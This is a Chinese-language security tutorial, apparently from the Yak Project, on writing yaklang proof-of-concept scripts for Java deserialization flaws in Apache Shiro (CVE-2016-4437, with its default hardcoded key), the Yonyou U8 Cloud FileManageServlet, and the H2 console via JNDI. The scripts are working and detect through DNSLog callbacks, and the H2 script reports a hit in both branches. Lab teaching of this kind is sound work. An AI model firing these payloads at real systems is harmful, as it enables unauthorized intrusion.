高效开发:Java 反序列化漏洞 POC
2023-11-23 17:31:38 Author: Yak Project(查看原文) 阅读量:11 收藏

近期收到一些反馈,部分刚入门yaklang的师傅还比较迷茫。本篇将面向yaklang入门给大家介绍:如何使用yaklang针对Java类型漏洞编写POC。

一些案例与实践

下面是一些案例,靶场用的vulhub,有兴趣的师傅们可以手动复现下。

Shiro漏洞

原理

由于shiro使用cookie的RemberMe字段传输序列化的java对象,虽然有加密措施,但在最原始的版本加密的key硬编码在源码中。只要使用正确的key构造恶意的序列化java对象就可以实现RCE。

实践

镜像:CVE-2016-4437

站点首页

先使用shiro插件扫描下key

可以看到key和利用链

打开Yso-Java Hack模块,选择CB192NoCC链和DNSLog恶意类,点击生成。在右侧源码部分可以看到自动生成的 "用于生成payload的yak代码",注释部分包含了对shiro payload加密的代码,右上角直接发送到Yak Runner。

对代码稍加修改就得到了POC:

target = cli.String("u")log.info("检测目标: %s ", target)domain,token = risk.NewDNSLogDomain()~className = randstr(4)log.setLevel("info")// 生成payloadgadgetObj,err = yso.GetCommonsBeanutils192NOCCJavaObject(yso.useDNSLogEvilClass(domain),yso.obfuscationClassConstantPool(),yso.evilClassName(className))if err {    log.error("%v",err)    return}gadgetBytes,err = yso.ToBytes(gadgetObj)if err {    log.error("%v",err)    return}// 加密payloadbase64Key = "kPH+bIxk5D2deZiIxcaaaA==" // base64编码的keykey,_ = codec.DecodeBase64(base64Key) // 生成keypayload = codec.PKCS5Padding(gadgetBytes, 16) // 加密payloadencodePayload = codec.AESCBCEncrypt(key, payload, nil)[0]finalPayload = codec.EncodeBase64(append(key, encodePayload...))// 发送payloadrsp,err = http.Get(target, http.cookie("rememberMe=%s"%finalPayload))if err != nil{    log.error("发送payload失败")    return}log.info("发送Payload成功")// dnslog回显检测res,err = risk.CheckDNSLogByToken(token)if len(res) > 0{    log.info("目标 %s 存在Shiro RCE漏洞",target)}else{    log.info("目标不存在RCE漏洞")}

在命令行直接调用脚本检测

用友U8 Cloud

原理

用友的一些参数直接用序列化对象传递,导致了反序列化漏洞。

实践

网站首页,本次测试利用:/servlet/~uap/nc.impl.pub.filesystem.FileManageServlet路径反序列化漏洞,通过dnslog反连验证。

首先在yakit内置dnslog服务申请一个域名,再打开webfuzzer,使用yso:dnslog标签配合dnslog域名爆破可用链,如图,右侧可以看到payload为:CommonsCollections3 dnslog evil class xxx.dgrh3.cn,在yakit右上角的 "漏洞与风险" 收到了反连提醒,说明目标成功加载了class

下面开始编写payload,打开Yso-Java Hack页面,利用链选择cc3,恶意类选择DNSLog

在yakrunner里稍加修改

target = cli.String("u")domain,token = risk.NewDNSLogDomain()~className = randstr(8)log.setLevel("info")gadgetObj,err = yso.GetCommonsCollections3JavaObject(yso.useDNSLogEvilClass(domain),yso.obfuscationClassConstantPool(),yso.evilClassName(className))if err {    log.error("%v",err)    return}gadgetBytes,err = yso.ToBytes(gadgetObj)if err {    log.error("%v",err)    return}log.info("开始发送payload")rsp = http.Post(target+"/servlet/~uap/nc.impl.pub.filesystem.FileManageServlet", http.body(gadgetBytes),http.proxy("http://127.0.0.1:8083"))~res,err = risk.CheckDNSLogByToken(token, 3)if len(res) != 0{    log.info("目标 %s 存在反序列化漏洞",target)}else{    log.info("目标不存在反序列化漏洞")}

H2 Database

原理

不正当的配置h2database导致攻击者可以访问h2-console页面,可以指定jdni url发起连接

实践

可以使用yakit的 "反连服务器" 实现jndi利用

先生成一个dnslog,再配置payload

打开/h2-console/test.do页面,配置Driver Class,和jdbc url,点击测试连接

在yakit中可以看到请求记录如图。

同样的可以在yak中编写代码启动 "反连服务器"

go fn{    className = randstr(8)    facades.Serve("0.0.0.0", 8089,        facades.ldapResourceAddr(className, "127.0.0.1:8089"), // 通过ldap://facades_server_address/class_name 访问会响应从"127.0.0.1:8089"读取class的结构        facades.httpResource(className, evalClassResource), // 通过http://facades_server_address/class_name 访问会响应 evalClassResource    )}

使用Yso-Java Hack自动生成 "生成evalClassResource的代码",并补充发包部分代码,最后得到

target = cli.String("u")domain,token = risk.NewDNSLogDomain()~go fn{    className = randstr(8)    classObj,err = yso.GenerateDNSlogEvilClassObject(domain,yso.obfuscationClassConstantPool(),yso.evilClassName(className))    if err {        log.error("%v",err)        return    }    evalClassResource,err = yso.ToBytes(classObj)    if err {        log.error("%v",err)        return    }    facades.Serve("0.0.0.0", 8089,        facades.ldapResourceAddr(className, "127.0.0.1:8089"), // 通过ldap://facades_server_address/class_name 访问会响应 从"127.0.0.1:8089"读取class的结构        facades.httpResource(className, evalClassResource), // 通过http://facades_server_address/class_name 访问会响应 evalClassResource    )}
poc.HTTP(`POST /h2-console/test.do?jsessionid=ab50d353801ba9bf68a94edfd66413b4 HTTP/1.1Host: {{p(target)}Content-Type: application/x-www-form-urlencoded
language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url={{p(addr)}}&user=sa&password=`, poc.params({ "target":target, "addr":"127.0.0.1:8089",}))res,err = risk.CheckDNSLogByToken(token, 3)if len(res) != 0{ log.info("目标 %s 存在反序列化漏洞",target)}else{ log.info("目标 %s 存在反序列化漏洞",target) // log.info("目标不存在反序列化漏洞")}

小结

yaklang的java基础设施基本可以满足编写POC、EXP的需求,可以使用yakit的反连、Yso-Java Hack辅助脚本编写,可以提升效率。

END

  YAK官方资源 

Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ

长按识别添加工作人员
开启Yakit进阶之旅


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&mid=2247516424&idx=1&sn=2ab35c25876a0140f49b749aa1d50f58&chksm=c2d1fdacf5a674ba0a4bf7d3b1babc218a5b8d7c2a7c9c2b3432b6c2b10daf684150c25cc166&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh